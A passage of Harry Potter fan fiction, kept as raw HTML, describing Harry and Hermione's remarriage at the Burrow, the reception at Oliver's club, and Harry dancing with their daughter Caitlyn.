and\nhugged Hermione tightly. Hermione&#8217;s eyes teared up again and she hugged her\ndaughter back, just as tightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now go show everyone how\nyou look!&#8221; Hermione said, turning her around. Caitlyn hopped towards the door\nand turned back around to look at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m really glad you and Dad\nare getting married again.&#8221; She smiled at her mother. &#8220;Summers will be fun now\nthat you&#8217;re here!&#8221; she grinned again and skipped away. She carefully moved down\nthe hallway to Blue&#8217;s room where she heard a loud holler.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mum I don&#8217;t WANT to wear a\ntie!&#8221; Caitlyn peeked around the door and saw Lavender trying to wrestle Blue\ninto a necktie. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now, all the men today are\ngoing to be wearing them!&#8221; Lavender said, finally getting it tied correctly.\n&#8220;You keep that on or I&#8217;ll put a spell on it!&#8221; she told her son firmly, and\nturned and spied Caitlyn at the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caty! Come in here so we\ncan see you!&#8221; Lavender called, and Caitlyn stepped into the room. Lavender\nsighed and Blue stared at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You look like a girl!&#8221; Blue\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn rolled her eyes.\n&#8220;That&#8217;s what I am, you half wit!&#8221; Lavender snickered and stood up, pulling Blue\nalong with her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How is your mother doing,\nCaitlyn?&#8221; Lavender asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s good.&#8221; Caitlyn\nreplied. &#8220;I think she&#8217;s really nervous, though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll bet.&#8221; Lavender smiled.\n&#8220;Well I&#8217;m going to go get ready myself.&#8221; She cast a warning glance at Blue. &#8220;If\nI see that tie off your neck it&#8217;s going to be even tighter next time.&#8221; Blue\nstuck his tongue out at her as she left the room. He looked back at Caitlyn and\nshook his head. &#8220;You really do look like a girl.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut up Blue.&#8221; Caitlyn\nsaid, and turned to leave. &#8220;Don&#8217;t forget to leave that tie on!&#8221; she laughed as\nBlue threw something at her and she darted out the door, directly into her\nfather.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dad!&#8221; she squealed and\npropelled herself at him, he laughed and staggered back playfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caty Cat, let me look at\nyou!&#8221; Harry exclaimed. &#8220;Is this really my daughter or just some look-alike you\nconjured up at Hogwarts?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dad, honestly!&#8221; Caitlyn\nsaid. Harry just laughed again and pulled her into his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You look gorgeous, Caty,\njust gorgeous.&#8221; Harry said, holding her tight to him. &#8220;Where&#8217;s your mother?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s in the guest room,\ngetting ready.&#8221; Caitlyn replied. &#8220;But you can&#8217;t see her.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why not?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bad luck!&#8221; Caitlyn replied,\nblocking the hallway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How do you know about\nthat?&#8221; Harry smirked at his daughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dad, I&#8217;m eleven, not\nthree.&#8221; Caitlyn rolled her eyes. &#8220;If you see Mum before she is walking down the\naisle, you&#8217;ll have bad luck, and I don&#8217;t want to see ANY of that!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caty, it&#8217;s a superstition.&#8221;\nHarry said firmly, trying to move past her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uncle Ron!!&#8221; Caitlyn\nbellowed. Ron appeared in the hallway a moment later, buttoning up his white\ndress shirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caty? What&#8217;s wrong?&#8221; he\nasked. &#8220;Harry!&#8221; he smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn turned to face Ron.\n&#8220;Tell my father he can&#8217;t see my mum before the wedding!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron looked up at Harry. &#8220;No\nway mate, you can&#8217;t go in there! You can&#8217;t see Hermione&#8230;&#8221; he was interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Before the wedding.&#8221; Harry\nwas the one to roll his eyes now. &#8220;Fine, fine.&#8221; He glared teasingly at his\ndaughter. &#8220;Tattletale.&#8221; He said. Caitlyn smiled innocently at him and went back\ninto Blue&#8217;s room. &#8220;How is she doing?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione? She&#8217;s fine,\nnervous, but fine.&#8221; Ron pulled on Harry&#8217;s sleeve. &#8220;Come on, you&#8217;ve got to get\ndressed, the wedding starts soon!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A half hour later, Grace and\nJustin had arrived, Lavender immediately pulling Grace into Hermione&#8217;s room to\nhelp her get ready.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You need to calm down!&#8221;\nGrace was saying to Hermione. &#8220;You&#8217;re going to ruin your hair if you keep\npulling on it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry!&#8221; Hermione\nwailed. Lavender pushed her down into a chair. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sit here, and don&#8217;t move.&#8221;\nLavender commanded. She pulled out her wand, and a few moments later,\nHermione&#8217;s normally straight hair was a mass of curls. Grace came over with the\nveil, which hung halfway down and had a circle of pearls that went around her\nforehead, and Lavender fitted it on neatly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perfect!&#8221; Grace said. She\nthen carefully pulled the dress out of the closet. &#8220;I cannot wait to see\nHarry&#8217;s face when you come walking down in this!&#8221; she said gleefully. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stepped into the\ndress and Lavender laced it tightly, tying it securely so it wouldn&#8217;t come\nundone. Grace sat her down and applied light makeup, she didn&#8217;t have to use\nmuch because Hermione was already glowing with excitement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are ready!&#8221; Lavender\nannounced, as Hermione stepped into her shoes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You really look amazing.&#8221;\nGrace said. Hermione grinned at the two of them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where&#8217;s Ginny?&#8221; she asked,\nlooking around. &#8220;I thought she&#8217;d be here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s meeting us at the\nBurrow, her mother asked her to help get things ready.&#8221; Lavender replied.\nHermione nodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shall we head over?&#8221; she\nasked, the butterflies in her stomach starting up again. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me go make sure Ron\nkeeps Harry here until its time.&#8221; Lavender said, and ducked out of the room.\nShe quickly crossed the hallway and knocked on the door to the room where Harry\nand Ron were getting ready.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron?&#8221; she pushed open the\ndoor after she heard them grunt for her to come in. &#8220;We&#8217;re about ready to go to\nthe Burrow.&#8221; She looked at him with her eyebrow raised so he&#8217;d know what she\nwas referring to. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Ron said, looking\nappreciatively at his wife. She looked gorgeous in the deep blue gowns they had\npicked out. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How does she look?&#8221; Harry\nasked anxiously. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Unbelievable!&#8221; Lavender\ngrinned teasingly at Harry. &#8220;I can&#8217;t wait to see your face when she comes\nwalking down that aisle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry must have made a move\nlike he was going to burst into the room because Ron grabbed him by the sleeve.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;ll see you there.&#8221; Ron\nsaid, quickly kissing her and she turned and left. &#8220;Someone&#8217;s a bit eager,\nhuh?&#8221; he asked, pulling on his jacket and turning back to Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;d better believe it.&#8221;\nHarry said, sticking his arms through his own jacket and settling it over his\nshoulders. &#8220;I can&#8217;t wait to start our lives over again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, things are going to\nbe good from here on out.&#8221; Ron said, buttoning his jacket. &#8220;I&#8217;m ready!&#8221; he\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me too.&#8221; Harry replied. He\ntook a few deep breaths to calm himself down. &#8220;Is it safe to apparate to the\nBurrow?&#8221; he smirked at Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sure it is.&#8221; Ron said\nback, opening the door. &#8220;All quiet, they must have taken the kids with them.&#8221;\nHe said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well let&#8217;s go!&#8221; Harry said,\nand they both apparated away. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~*~*~*~*~*~*~*~*~*~*~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow, Mrs. Weasley,\neverything looks amazing!&#8221; Hermione said appreciatively at the amount of\ndecorations that adorned the backyard. &#8220;Thank you so much, for everything!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mrs. Weasley hugged her.\n&#8220;It&#8217;s my pleasure dear, you and Harry are finally getting the wedding you\ndeserve.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No crying!&#8221; Ginny said,\nwagging her finger at Hermione, whose eyes had begun to fill with happy tears. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nana what happened to the\nswing set?&#8221; Blue asked in horror, as it was indeed gone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry, it&#8217;ll be back\nin place tomorrow.&#8221; Mrs. Weasley said, looking at her grandson fondly. &#8220;Papa\nhad to move it for today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Blue said, reaching\nhis hand up to tug on his necktie, but put it back down after a warning glance\nfrom his mother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny looked at the Weasley\nclock, which had grown considerably larger for each family member added. &#8220;Oh!&#8221;\nshe gasped. Ron&#8217;s hand was traveling from home to The Burrow. &#8220;Hermione, we\nneed to get you into the other room Harry will be here any second!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All four women hurried out\nof the room as Ron and Harry apparated in. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aw, Harry, you just missed\nher.&#8221; Justin grinned, and Seamus gave him a slap on the back of the head. Ron\ngroaned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t get him started\nagain, please?&#8221; Ron begged. He pulled on Harry&#8217;s collar as he tried to go to\nthe door. &#8220;I&#8217;ve never seen anyone so determined in my life&#8230;Harry you&#8217;re going\nto see her in twenty minutes!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mrs. Weasley was looking at\nall of them. &#8220;Oh dear, don&#8217;t you boys all look handsome?&#8221; her eyes were\nbeginning to fill with tears as she hugged her son tightly, then turned to\nHarry and did the same thing. She turned and rushed out of the room, bawling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mum&#8230;&#8221; Ron shook his head in\nthe direction his mother had taken off to. &#8220;I swear, you should have seen her\nat Ginny and Seamus&#8217;s wedding&#8230;&#8221; he trailed off as Seamus guffawed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She didn&#8217;t stop crying the\nwhole ceremony!&#8221; Seamus said, and all the men started laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Speaking of ceremonies,&#8221; Ron\nsaid. &#8220;Yours is about to begin, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The four men hurried\noutside, where they stared agape at the spectacle that Mr. and Mrs. Weasley had\ncreated. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Tons of chairs were set in\nneat rows, a long aisle was left clear down between two of the rows. A long\nlength of pale silk trailed down the aisle, and it led up to an altar, which\nwas surrounded by a white lattice arch covered with red and white roses. People\nwere already gathered in some of the chairs, and a few of them recognized Harry\nand pointed excitedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow.&#8221; Harry was first to\nspeak. &#8220;This is absolutely amazing!&#8221; He turned to Ron.</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know how Hermione\nand I can ever repay your parents for this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron smiled. &#8220;Well you know\nthat they consider you family, Harry. Don&#8217;t worry about it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled and looked at\nhis watch. &#8220;Wow, it&#8217;s already almost time&#8230;. you guys should get in there with\nthe women.&#8221; He turned and looked up at the front where the minister had just\narrived. &#8220;See you guys in a few minutes!&#8221; the butterflies had come back as Harry\nmade his way up the aisle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mr. Potter,\ncongratulations!&#8221; the minister said, shaking Harry&#8217;s hand. &#8220;I&#8217;m truly honored\nto be here at your wedding.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221; Harry replied.\nHe turned and watched as the rest of the seats filled up, and his stomach gave\na big lurch as he realized what a crowd there was. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Inside, Hermione was even\nmore a bundle of nerves as she realized that in just a moment, she&#8217;d be walking\nout in front of that crowd. The fact that Harry was waiting for her at the end\nof the aisle was somewhat calming, but not completely. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Breathe.&#8221; Grace instructed,\nadjusting the top of her dress. &#8220;Everything is going to be fine, once you get\nup there it&#8217;ll be just you and Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione closed her eyes and\nnodded, doing as Grace said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you okay Mum?&#8221; Caitlyn\nasked, walking into the room, her tiny bouquet clutched in her hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m fine, just fine&#8230;&#8221;\nHermione said, smiling at her daughter. &#8220;Are you and Blue ready, it&#8217;s time to\nstart!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn squealed. &#8220;I&#8217;m ready!!&#8221;\nshe said. She was so excited about this day; it was all she had been able to\nthink about for weeks now. An unsuspecting Blue entered the room and Caitlyn\nlatched onto him. &#8220;Let&#8217;s go!!!&#8221; she said, pulling on him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ow!&#8221; Blue cried. &#8220;Okay, I&#8217;m\ngoing!&#8221; As the juniors of the wedding party, they&#8217;d start the procession in\nplace of the flower girl and ring bearer. Blue carried the two rings in his\nhand; he&#8217;d give them to Harry at the end of the aisle. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Everyone ready?&#8221; Ron called\nout. A chorus of yeses answered him, and he took his place behind Caitlyn and\nBlue as the best man, Lavender next to him, and Grace and Justin behind him,\nwith Hermione of course taking up the end of the procession.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll be fine!&#8221; Lavender\nassured Hermione as Ron opened the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry listened to the music\nplaying and locked his eyes on the door that Ron had just opened. He smiled as\nCaitlyn and Blue stepped out, stepping perfectly to the tune as they had been\ninstructed. Harry looked at his daughter proudly as she reached the front, and\nshe grinned back at him. His attention was next diverted to Ron and Lavender,\nthen Grace and Justin. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everyone&#8217;s eyes turned again\nto the door as Hermione stepped out, and Harry felt everything around him cease\nto exist except for her. The gown she wore was stunning, with lace edges and\nexquisite beading, the fabric was of silk and satin. Her hair was pulled back\nat the sides and it cascaded down her back in long curls. The veil was a half\none, and the circle of pearls rested gently on her forehead. His eyes met hers\nand they held each other&#8217;s gaze as Hermione glided to the front. It was just as\nGrace had said, everyone else seemed to disappear and their whole world was\nright there. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You look absolutely\namazing.&#8221; Harry was able to whisper as she reached the spot next to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled nervously at\nhim. &#8220;Thank you.&#8221; She said back, softly. Harry looked so handsome in his suit,\nshe always loved him dressed the way he was. &#8220;You do too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry took her hand and\nsqueezed it as they faced the minister. The whole ceremony passed in a daze for\nboth of them, as they were focused too much on each other to pay attention to\nanything else. The only part Harry was able to recall was when they took their\nvows.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I do.&#8221; Harry said, looking\ndeeply into Hermione&#8217;s eyes as he repeated what the minister said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled. &#8220;I do.&#8221; She\nalso said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You may now kiss your\nbride.&#8221; The minister smiled as Harry pulled Hermione to him and kissed her\npassionately but gently. He was about to pull away when Hermione held on and he\nwas forced to kiss her again, not that he minded. A few people in the audience\nchuckled but neither one of them cared. They finally broke apart, and everyone\nclapped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;May I present Mr. and Mrs.\nHarry Potter!&#8221; the minister announced.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt a wide smile\nbreak across her face as Harry grabbed her hand and they went back down the\naisle, people clapping and smiling as they swept past. Hurrying back through\nthe house, Ron had a Ministry car waiting out in the front so that when they\ngot to Oliver&#8217;s club, they could make their grand entrance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m SO glad that&#8217;s over!&#8221;\nHermione sighed as they settled into the seats. Harry grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What, you don&#8217;t like\nmarrying me?&#8221; he pretended to pout. He winked at the driver and put up the partition\nso that he and Hermione could have privacy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course I do!&#8221; Hermione\nsaid. &#8220;I just hate being in front of large crowds.&#8221; She put her hand on Harry&#8217;s\narm. &#8220;And I was looking forward to this, being alone with you afterward.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned, and without\nanother word leaned in and kissed her. Hermione placed her hands on the back of\nhis neck and his arms wrapped around her waist. He tried to deepen the kiss by\ngently stroking his tongue across her lower lip and she willingly opened her\nmouth under his to allow him in. Harry felt like he would never get tired of\nkissing her. Hermione moaned as he increased the pressure of his mouth on hers,\npushing harder, his tongue sweeping her mouth with such passion neither one was\nsure if they could wait till that evening for more. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221; Hermione finally\nbroke away only to have Harry start kissing her throat, and her neck. &#8220;Harry\nwe&#8217;re almost to the club, we need to save the necking for tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry groaned and pulled\naway. &#8220;All right.&#8221; He said, smiling at her swollen lips. She reached over and\npushed aside his hair. &#8220;So I heard you were quite eager to see me today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who told you?&#8221; Harry was\namused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, Lavender, Caitlyn&#8230;.&#8221;\nHermione laughed. &#8220;Was I worth the wait?&#8221; she teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione, you are worth everything\nto me.&#8220; Harry raised her hand up and kissed it. &#8220;The last few hours were tough,\nbut when I saw how gorgeous you looked&#8230;.&#8221; He looked into her eyes. &#8220;I&#8217;ve never\nfelt so happy in my life.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They were kissing again when\nthe car pulled up in front of Oliver&#8217;s club.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you ready?&#8221; he asked,\ntaking up her hand once more. &#8220;It&#8217;s going to be quite a mob scene.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well at least this time\nI&#8217;ve got you with me.&#8221; Hermione said, smiling at her husband. He grinned back\nand kissed her once more, then pushed open the doors.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mr. and Mrs. Harry Potter!&#8221;\nRon&#8217;s voice boomed, announcing their arrival. Everyone clapped and cheered as\nHarry and Hermione planted large smiles on their faces. They entered what was\nto be a &#8216;receiving line&#8217; so that they could greet everyone that came to\ncelebrate their day with them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">George Weasley clapped Harry\non the shoulder. &#8220;Congratulations!&#8221; he boomed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks George.&#8221; Harry said.\nGeorge moved on to Hermione and Harry noticed George&#8217;s date.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ambir!&#8221; he recognized her as\nthe potions mistress who had quickened the process of brewing. She was wearing\nan elegant black velvet dress, with spaghetti straps. It was perfect for her,\nshowed off just what she wanted it to.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello!&#8221; Ambir smiled at\nhim. &#8220;This is quite a nice party you&#8217;ve got here.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks,&#8221; Harry said,\nkissing her on the cheek. &#8220;I didn&#8217;t know you knew George.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh&#8230;&#8221; Ambir blushed as she\nlooked at George. &#8220;Well, we&#8217;ve been seeing each other for awhile. Ron\nintroduced us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see.&#8221; Harry grinned, as\nshe stepped down and Hermione embraced her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m so glad you came!&#8221; she\nsaid. &#8220;I can never thank you enough for helping Harry and I.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, it was my pleasure.&#8221;\nAmbir said, smiling at the two of them as George pulled her close against him.\n&#8220;I&#8217;m happy I was able to help you two out!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Actually, I&#8217;m her\npleasure.&#8221; George said and everyone laughed. &#8220;Come on, I want to dance!&#8221; she\nwaved as George pulled her away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Hermione greeted\npeople for another hour, and finally the mention of food and drinks drove\npeople to sit at the tables.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oliver stood up as everyone\nfound his or her seat. &#8220;I&#8217;d like to make a toast!&#8221; he said loudly. &#8220;To Harry\nand Hermione, may you two be together now, always!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hear hear!&#8221; was heard\nrepeatedly around the room as everyone raised their glasses and drank.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everyone enjoyed the good\nfood and the alcohol was flowing freely. Hermione finally got a chance to look\naround the club; it had been so hectic since they had gotten in there. Oliver\nhad done an amazing job. The room was decorated in an off white color, and it\nwas magically enlarged to fit as many people as necessary, while still being\ncomfortable. Crystal chandeliers adorned the ceiling, and if Hermione didn&#8217;t\nknow better, she wouldn&#8217;t have even recognized the place as Oliver&#8217;s swanky\nclub.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The music started again, and\npeople started filling the dance floor, the DJ playing a good mix of fast and\nslow songs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m going to dance with\nCaty.&#8221; Harry said to Hermione, who was in conversation with Grace and Lavender.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; She smiled and\nkissed him, and he went off in search of his daughter. He found her in a corner\nwith Blue and a few other kids her age.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caty Cat.&#8221; Harry said.\n&#8220;Want to dance with your old dad?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure!&#8221; she jumped up. &#8220;I&#8217;ll\nbe right back!&#8221; she told the others.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry led her to the dance\nfloor, and they began to dance to a nice sweet father/daughter type of song.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dad?&#8221; Caitlyn asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m really happy that you\nand Mum are married again.&#8221; Caitlyn said. &#8220;I&#8217;ve always wanted to know more\nabout her, and now here she is.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry Caty Cat, that I\nnever talked about her.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay.&#8221; She replied. &#8220;I\njust am really happy that she&#8217;s here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me too.&#8221; Harry hugged his\ndaughter tightly as the song ended. &#8220;Now go have fun with your friends, okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; She grinned and\nscampered back off in the direction of the kids.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry saw Oliver motioning\nto him. &#8220;What&#8217;s 